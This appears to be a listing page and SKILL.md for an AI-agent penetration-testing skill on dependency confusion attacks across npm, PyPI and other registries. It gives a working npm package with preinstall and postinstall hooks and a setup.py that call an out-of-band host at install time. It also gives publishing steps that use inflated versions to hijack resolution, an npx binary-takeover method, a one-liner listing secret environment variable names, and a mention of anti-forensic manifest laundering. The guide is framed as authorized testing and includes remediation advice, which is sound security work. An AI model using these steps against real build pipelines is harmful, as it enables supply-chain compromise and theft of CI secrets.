exploiting-dependency-confusion

$npx mdskill add xalgord/xalgorix/exploiting-dependency-confusion

- During authorized assessments where you can recover application manifests or lockfiles (`package.json`, `requirements.txt`, `pom.xml`, `*.csproj`, `go.mod`, `Cargo.toml`, `Gemfile`) - When a target leaks internal package names through public JS bundles, error messages, CI logs, or exposed `.git` directories - When the build tooling is configured with both internal and public registries and is allowed to pick the "best" version globally - When testing CI/CD runners that fetch dependencies and hold cloud credentials, signing keys, or deploy secrets - When you spot `npx <binary>` invocations in repos, docs, or CI definitions (binary-name takeover variant)

SKILL.md

.github/skills/exploiting-dependency-confusionView on GitHub ↗
---
name: exploiting-dependency-confusion
description: Identifying and exploiting dependency confusion (substitution) attacks where a package manager resolves an
  internal dependency name from a public registry instead of the intended private one, leading to attacker-controlled
  code execution at install time. Activates when testing build pipelines, CI/CD systems, leaked manifests, or any
  ecosystem (npm, PyPI, NuGet, Maven, Gradle, Go, Cargo, RubyGems) that mixes internal and public package sources.
domain: cybersecurity
subdomain: web-application-security
tags:
- penetration-testing
- dependency-confusion
- supply-chain
- owasp
- web-security
version: '1.0'
author: xalgorix
license: Apache-2.0
---

# Exploiting Dependency Confusion

## When to Use

- During authorized assessments where you can recover application manifests or lockfiles (`package.json`, `requirements.txt`, `pom.xml`, `*.csproj`, `go.mod`, `Cargo.toml`, `Gemfile`)
- When a target leaks internal package names through public JS bundles, error messages, CI logs, or exposed `.git` directories
- When the build tooling is configured with both internal and public registries and is allowed to pick the "best" version globally
- When testing CI/CD runners that fetch dependencies and hold cloud credentials, signing keys, or deploy secrets
- When you spot `npx <binary>` invocations in repos, docs, or CI definitions (binary-name takeover variant)

## Prerequisites

- **Authorization**: Written engagement scope explicitly permitting publishing test packages to public registries
- **Registry accounts**: npm, PyPI, NuGet, RubyGems accounts for publishing PoC packages
- **Unique markers**: Engagement-specific package versions and out-of-band callback infrastructure (Burp Collaborator, interactsh, your own DNS)
- **Cleanup plan**: Ability to unpublish/yank packages immediately when testing concludes

## Critical: Variants Most Often Missed

Scanners usually only check "is the internal npm name unclaimed publicly". The
real attack surface is broader. Test every variant below.

```text
# 1. Non-existent / abandoned internal name -> public registry fallback.
#    Internal "company-logging" no longer exists; resolver finds your public package.

# 2. Version preference across registries (THE #1 MISS).
#    Internal index has company-utils@1.0.1; you publish company-utils@9.99.99
#    publicly. Resolver that sees both picks the higher version.

# 3. Typosquatting an imported public name.
#    App imports "reqests" / "djngo" / "loadsh" -> register the misspelling.

# 4. Scoped-package binary takeover via npx (no registry precedence needed).
#    Real package @company/tool exposes unscoped binary "tool".
#    `npx tool` outside the dep context fetches PUBLIC "tool".

# 5. Transitive / subdependency hijack.
#    Internal package depends on an internal transitive name that is public-claimable.

# 6. Maven groupId / Go module path / NuGet ID-pattern squatting.
#    com.company.* , github.com/your-org/* , Company.* prefixes inferred from leaks.
```

Minimal npm PoC package that proves install-time execution without touching app logic:

```json
{
  "name": "company-internal-utils",
  "version": "99.99.99",
  "scripts": {
    "preinstall": "node poc.js",
    "postinstall": "node poc.js"
  }
}
```

```javascript
// poc.js  -- benign proof only: beacon hostname + cwd, no data theft
const os = require('os');
const https = require('https');
const id = encodeURIComponent(os.hostname() + '|' + process.cwd());
https.get('https://ENGAGEMENT.oast.fun/dc/' + id);
```

For Python, prefer **import-time** execution (wheels do not run arbitrary code on
install by default); a malicious `setup.py` in an sdist runs on `pip install`:

```python
# setup.py in a source distribution
import os, urllib.request
urllib.request.urlopen("https://ENGAGEMENT.oast.fun/dc/" + os.uname().nodename)
from setuptools import setup
setup(name="company-internal", version="99.0.0")
```

### How to CONFIRM a hit (avoid false negatives)

Code execution in supply-chain attacks is asynchronous and often runs on a CI
box you cannot see, so rely on out-of-band signals, not HTTP responses:

- **DNS/HTTP callback fired** to your unique `ENGAGEMENT.oast.fun` subdomain — the request source IP, hostname, and `cwd` confirm where it ran.
- **Egress-blocked targets**: fall back to a **DNS-only** beacon (DNS exfil) or encode proof into an error message the build surfaces.
- **CI log markers**: messages like `The following package was not found and will be installed` (npx) or your package name appearing in install logs.
- **Lockfile diff**: the resolved registry URL points at the public registry for an internal name.
- Treat ANY callback carrying the target's hostname/CI runner identity as a confirmed install-time RCE; do not require a shell.

## Workflow

### Step 1: Enumerate Internal Package Names

```bash
# Grep recovered repos / bundles / CI configs for manifests and internal namespaces
grep -rEi "(@[a-z0-9-]+/|company-|internal\.|com\.company)" . \
  --include=package.json --include=*.lock --include=requirements*.txt \
  --include=pom.xml --include=*.csproj --include=go.mod --include=Cargo.toml

# Pull names out of public JS bundles (webpack chunk names, sourcemaps)
curl -s https://target.example.com/static/main.js | grep -oE '"@[a-z0-9-]+/[a-z0-9-]+"'

# Look for npx invocations (binary-name takeover candidates)
grep -rE "npx [a-z0-9@/_-]+" . docs/ .github/ .gitlab-ci.yml 2>/dev/null
```

### Step 2: Check Public Registry Availability

```bash
# npm: 404 means the name is unclaimed and squattable
npm view company-internal-utils       # E404 -> claimable
# PyPI
curl -s -o /dev/null -w "%{http_code}" https://pypi.org/pypi/company-internal/json  # 404 -> claimable
# NuGet
curl -s "https://api.nuget.org/v3-flatcontainer/company.internal/index.json"
```

### Step 3: Publish a Version That Wins Resolution

```bash
# npm - publish with a very high semver so "best version" picks yours
npm publish    # package.json version: 99.99.99, with preinstall/postinstall hook

# PyPI - upload an sdist (executes setup.py on install) with high version
python -m build && twine upload dist/*

# For npx binary takeover, bind a matching bin entry:
#   "bin": { "tool": "./cli.js" }   then publish public package named "tool"
```

### Step 4: Trigger and Capture Execution

```bash
# Wait for CI/dev installs, or trigger an install in scope:
npm install            # or npm ci  (note: npm ci STILL runs lifecycle scripts)
pip install company-internal

# Watch your OOB listener for callbacks
interactsh-client      # or monitor Burp Collaborator / your DNS logs
```

### Step 5: Demonstrate Impact (Authorized)

```bash
# On CI runners the hook runs before tests and often sees secrets.
# Prove access WITHOUT exfiltrating real data - beacon env var NAMES only:
node -e "console.log(Object.keys(process.env).filter(k=>/TOKEN|KEY|SECRET|AWS/.test(k)))"
# Reference the key NAMES in your report; never copy secret VALUES off-target.
```

## Key Concepts

| Concept | Description |
|---------|-------------|
| **Dependency Confusion** | Resolver fetches an internal name from a public registry because both sources are visible at resolution time |
| **Version Preference** | "Best/newest version globally" rules let a high public version beat the internal one |
| **Install-time Execution** | npm `preinstall`/`install`/`postinstall` hooks run on `npm install`/`npm ci` without importing the lib |
| **Import-time Execution** | Python wheels do not run code on install; an sdist `setup.py` does, so prefer sdist or import paths |
| **npx Binary Takeover** | `npx <name>` falls back to installing a public package named `<name>` when no local bin matches |
| **Subdependency Hijacking** | Claiming internal transitive names when the top-level name already exists publicly |
| **Manifest Laundering** | Anti-forensic trick: run hook, delete dropper, restore a benign manifest |

## Tools & Systems

| Tool | Purpose |
|------|---------|
| **interactsh / Burp Collaborator** | Out-of-band DNS/HTTP callbacks to confirm asynchronous code execution |
| **npm / pip / nuget / gem CLIs** | Publishing PoC packages and querying registry availability |
| **confused (visma)** | Scans manifests across ecosystems for dependency-confusion-prone names |
| **snyk / depcheck** | Inventorying declared vs resolved dependencies |
| **grep / ripgrep** | Mining repos, bundles, and CI configs for internal names and `npx` usage |
| **gau / waybackurls** | Discovering exposed manifests and bundles from historical crawl data |

## Common Scenarios

### Scenario 1: Leaked package.json Reveals Internal Scope
A public JS bundle references `@acme/telemetry`, which does not exist on the public npm registry. Publishing `@acme/telemetry` (or the unscoped fallback) with a `postinstall` hook results in a callback from the target's CI runner during the next build.

### Scenario 2: Version Preference on a Mixed Index
The Python build uses `--extra-index-url` pointing at both an internal index and public PyPI. Internal `acme-config` is `1.4.0`; publishing `acme-config 9.0.0` as an sdist to PyPI makes the resolver pick the public package, executing `setup.py` on install.

### Scenario 3: npx Binary-Name Takeover
A CI job runs `npx build-assets`. The real tool is the scoped `@acme/build-assets`, but its binary is unscoped. From a fresh workspace npm cannot find the local bin, assumes `--yes` in non-interactive mode, and installs the unclaimed public `build-assets` package, granting execution.

## Output Format

```
## Dependency Confusion Finding

**Vulnerability**: Dependency Confusion / Supply-Chain Substitution
**Severity**: Critical (CVSS 9.1)
**Location**: CI build pipeline (npm install) resolving @acme/telemetry
**OWASP Category**: A08:2021 - Software and Data Integrity Failures

### Reproduction Steps
1. Recovered internal package name @acme/telemetry from https://target.example.com/static/main.js
2. Confirmed name unclaimed on public npm registry (npm view -> E404)
3. Published @acme/telemetry@99.99.99 with a benign preinstall beacon
4. Next CI build fetched the public package; received OOB callback from runner IP 203.0.113.10 with cwd /builds/acme/web

### Evidence
| Signal | Value |
|--------|-------|
| OOB callback host | ENGAGEMENT.oast.fun/dc/runner-acme-ci-01 |
| Source IP | 203.0.113.10 (target CI egress) |
| Execution context | preinstall hook, before test stage |
| Accessible secret names | AWS_ACCESS_KEY_ID, NPM_TOKEN (names only, not exfiltrated) |

### Recommendation
1. Route all installs through a single internal registry/proxy; block public fallback for internal namespaces
2. Bind internal scopes to the private registry (`@acme:registry=...`) and authenticate
3. Use immutable lockfiles (`npm ci`, `yarn install --immutable`) and hash pinning (`pip --require-hashes`, Gradle verification)
4. Reserve internal names/namespaces on public registries
5. Prefer `npx --package <expected> <binary>`; run CI from project root and fail closed when local bin is absent
6. Install with `--ignore-scripts` in sensitive stages; adopt a minimum-release-age gate for new versions
```

More from xalgord/xalgorix